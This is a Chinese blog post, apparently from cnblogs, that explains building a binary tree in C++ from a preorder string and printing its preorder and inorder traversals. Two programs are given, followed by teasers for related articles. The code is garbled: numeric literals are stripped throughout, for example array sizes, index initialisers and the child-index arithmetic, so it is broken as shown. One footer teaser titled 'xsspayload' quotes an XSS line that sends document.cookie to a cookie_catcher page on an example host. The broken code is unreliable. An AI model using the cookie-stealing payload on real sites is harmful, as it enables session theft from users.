【C++】二叉树的构建、前序遍历、中序遍历
写在前面:本博客为本人原创,严禁任何形式的转载!本博客只允许放在博客园(.cnblogs.com),如果您在其他网站看到这篇博文,请通过下面这个唯一的合法链接转到原文!
本博客全网唯一合法URL:https://www.cnblogs.com/acm-icpcer/p/10404776.html
按前序遍历次序构建二叉树:
#include<iostream>
#include<cstring>
#include<cstdio>
#include<cstdlib>
#include<fstream>
using namespace std; struct tnode
{
char data;
tnode *l,*r;
}; class tree
{
public: tnode *root; tree()
{
//root=NULL;
} tnode* getroot()
{
return this->root;
} bool build(tnode * & root,char *input,int & index)
{
if(index>=strlen(input))
{
return false;
}
if(input[index]=='#')
{
root=NULL;
index++;
}
else
{
root=new tnode;
root->data=input[index];
index++;
build(root->l,input,index);
build(root->r,input,index);
} } bool pre_display(tnode *t,fstream &f);
}; /*
bool tree::build()
{
root->data='a';
root->l=new tnode();
root->l->data='c';
root->r=new tnode();
root->r->data='b';
return true;
}
*/
/*
bool tree::build(tnode * & root,char *input,int & index)
{
if(index>=strlen(input))
{
return false;
}
if(input[index]=='#')
{
root=NULL;
index++;
}
else
{
root=new tnode;
root->data=input[index];
index++;
build(root->l,input,index);
build(root->r,input,index); }
}
*/ bool tree::pre_display(tnode *t,fstream &f)
{
if(t!=NULL)
{
f<<t->data<<endl;
cout<<t->data<<' ';
pre_display(t->l,f);
pre_display(t->r,f);
}
return true;
} /*
void preOrder(tnode * & root,char *input,int & index)
{
if(index>=strlen(input))
{
return ;
}
if(input[index]=='#')
{
root=NULL;
index++;
}
else
{
root=new tnode;
root->data=input[index];
index++;
preOrder(root->l,input,index);
preOrder(root->r,input,index); }
}
*/
//this function is not belongs to the tree class,writing for test purpose
void inOrder(tnode * root)
{
if(root==NULL)
{
return ;
}
inOrder(root->l);
cout<<root->data<<" ";
inOrder(root->r);
} int main()
{
fstream f("result.txt", ios::out); char buffer[];
memset(buffer,'\0',strlen(buffer));
tree *mt=new tree();
while(scanf("%s",&buffer))
{
int index=;
//cout<<mt->getroot()<<endl<<mt->root<<endl;
if(mt->build(mt->root,buffer,index))
{
inOrder(mt->getroot());
cout<<endl;
mt->pre_display(mt->getroot(),f);
}
} f.close();
return ;
}
代码运行说明:
手动按照前序输入字符串,每个字符代表一个节点,对于空节点则输入‘#’,程序会输出前序遍历结果和秩序遍历结果。
例如,对于二层满二叉树,输入前序遍历为:ab##c##
输出为:

第一行结果为中序遍历,第二行结果为前序遍历。
按行序遍历构建二叉树:
#include<iostream>
#include<cstring>
using namespace std;
const int M=; struct node{
char data;
node *l;
node *r;
}; void build(node * & root,char *input,int index)
{
if(index>=strlen(input))
return ;
if(input[index]=='#')
root=NULL;
else
{
root=new node();
root->data=input[index];
build(root->l,input,(index+)*-);
build(root->r,input,(index+)*);
}
} void pre_display(node *root)
{
if(root==NULL)
return ;
cout<<root->data<<" ";
pre_display(root->l);
pre_display(root->r);
} void in_display(node *root)
{
if(root==NULL)
return ;
in_display(root->l);
cout<<root->data<<" ";
in_display(root->r);
} int main()
{
node *tree1=new node();
char data[M];
memset(data,'\0',sizeof(data));
while(scanf("%s",data))
{
build(tree1,data,);
pre_display(tree1);
cout<<endl;
in_display(tree1);
} return ;
}

第一行结果为中序遍历,第二行结果为前序遍历。
tz@HZAU
2019/2/20
【C++】二叉树的构建、前序遍历、中序遍历的更多相关文章
- LeetCode:105_Construct Binary Tree from Preorder and Inorder Traversal | 根据前序和中序遍历构建二叉树 | Medium
		要求:通过二叉树的前序和中序遍历序列构建一颗二叉树 代码如下: struct TreeNode { int val; TreeNode *left; TreeNode *right; TreeNode ... 
- LeetCode 105. Construct Binary Tree from Preorder and Inorder Traversal 由前序和中序遍历建立二叉树 C++
		Given preorder and inorder traversal of a tree, construct the binary tree. Note:You may assume that ... 
- 【2】【leetcode-105,106】 从前序与中序遍历序列构造二叉树,从中序与后序遍历序列构造二叉树
		105. 从前序与中序遍历序列构造二叉树 (没思路,典型记住思路好做) 根据一棵树的前序遍历与中序遍历构造二叉树. 注意:你可以假设树中没有重复的元素. 例如,给出 前序遍历 preorder = [ ... 
- Leetcode:105. 从前序与中序遍历序列构造二叉树&106. 从中序与后序遍历序列构造二叉树
		Leetcode:105. 从前序与中序遍历序列构造二叉树&106. 从中序与后序遍历序列构造二叉树 Leetcode:105. 从前序与中序遍历序列构造二叉树&106. 从中序与后序 ... 
- Java实现 LeetCode 105 从前序与中序遍历序列构造二叉树
		105. 从前序与中序遍历序列构造二叉树 根据一棵树的前序遍历与中序遍历构造二叉树. 注意: 你可以假设树中没有重复的元素. 例如,给出 前序遍历 preorder = [3,9,20,15,7] 中 ... 
- [LeetCode]105. 从前序与中序遍历序列构造二叉树(递归)、108. 将有序数组转换为二叉搜索树(递归、二分)
		题目 05. 从前序与中序遍历序列构造二叉树 根据一棵树的前序遍历与中序遍历构造二叉树. 注意: 你可以假设树中没有重复的元素. 题解 使用HashMap记录当前子树根节点在中序遍历中的位置,方便每次 ... 
- LeetCode---105. 从前序与中序遍历序列构造二叉树 (Medium)
		题目:105. 从前序与中序遍历序列构造二叉树 根据一棵树的前序遍历与中序遍历构造二叉树. 注意: 你可以假设树中没有重复的元素. 例如,给出 前序遍历 preorder = [3,9,20,15,7 ... 
- [Swift]LeetCode105. 从前序与中序遍历序列构造二叉树 | Construct Binary Tree from Preorder and Inorder Traversal
		Given preorder and inorder traversal of a tree, construct the binary tree. Note:You may assume that ... 
- leetcode 105 106 从前序与中序遍历序列构造二叉树 从中序与后序遍历序列构造二叉树
		题目: 105 根据一棵树的前序遍历与中序遍历构造二叉树. 注意:你可以假设树中没有重复的元素. 例如,给出 前序遍历 preorder = [3,9,20,15,7] 中序遍历 inorder = ... 
- leetcode题解:Construct Binary Tree from Preorder and Inorder Traversal (根据前序和中序遍历构造二叉树)
		题目: Given preorder and inorder traversal of a tree, construct the binary tree. Note:You may assume t ... 
随机推荐
- webpack4之踩坑总结
			一.先放上项目目录结构 二.问题总结 1.关于process.env.NODE_ENV问题 刚开始的时候,我想在配置文件中使用到这个环境变量,却发现一直获取不到值,晕晕晕,查了资料才知道,这个环境变量 ... 
- Linux su切换用户后命令提示符变为bash-4.2$
			2018-9-30 19:31:41 星期日 今天遇到一个问题, 给gitlab配置webhook的时候, 一个目录总是不能正确执行git pull 命令, 无任何输出, 根据之前经验, 感觉是权限的 ... 
- Intsall The Nessus in you kali linux
			1.first you shold download the nessus on the web station the nessus download site url: https://www. ... 
- vue-创建新项目
			1.安装node,下载地址:https://nodejs.org/en/download/ 2.安装完成后打开cmd,输入node-v,出现版本信息说明安装成功 3.输入npm install -g ... 
- java 小程序开发PKCS7Padding 解密方法实现,以及错误Cannot find any provider supporting AES/CBC/PKCS7Padding 解决办法
			近日在对接小程序API,其中wx.getUserInfo api返回的数据encryptedData 的解密算法要求为: AES-128-CBC,数据采用PKCS#7填充. 经过一番查询,得到java ... 
- PyCharm使用秘籍
			PyCharm的基本使用 在PyCharm下为你的Python项目配置Python解释器 Project:当前项目名>Project Interpreter>add Local 在PyCh ... 
- sql语句表连接删除
			DELETE 表1,表2FROM 表1 LEFT JOIN 表2 ON 表1.id=表2.id WHERE 表1.id=需要删除的ID 
- PSO:利用PSO+ω参数实现对一元函数y = sin(10*pi*x) ./ x进行求解优化,找到最优个体适应度—Jason niu
			x = 1:0.01:2; y = sin(10*pi*x) ./ x; figure plot(x, y) title('绘制目标函数曲线图—Jason niu'); hold on c1 = 1. ... 
- xsspayload
			元素on事件: prompt(document.cookie) document.location= "http://www.example.com/cookie_catcher.php?c ... 
- (DP) 关于最优三角剖分
			https://www.cnblogs.com/Konjakmoyu/p/4905563.html 这个人写的好 最优三角剖分的核心思想: 确定决策顺序. 有时一个解可以用许多决策顺序得出, 这时候我 ... 
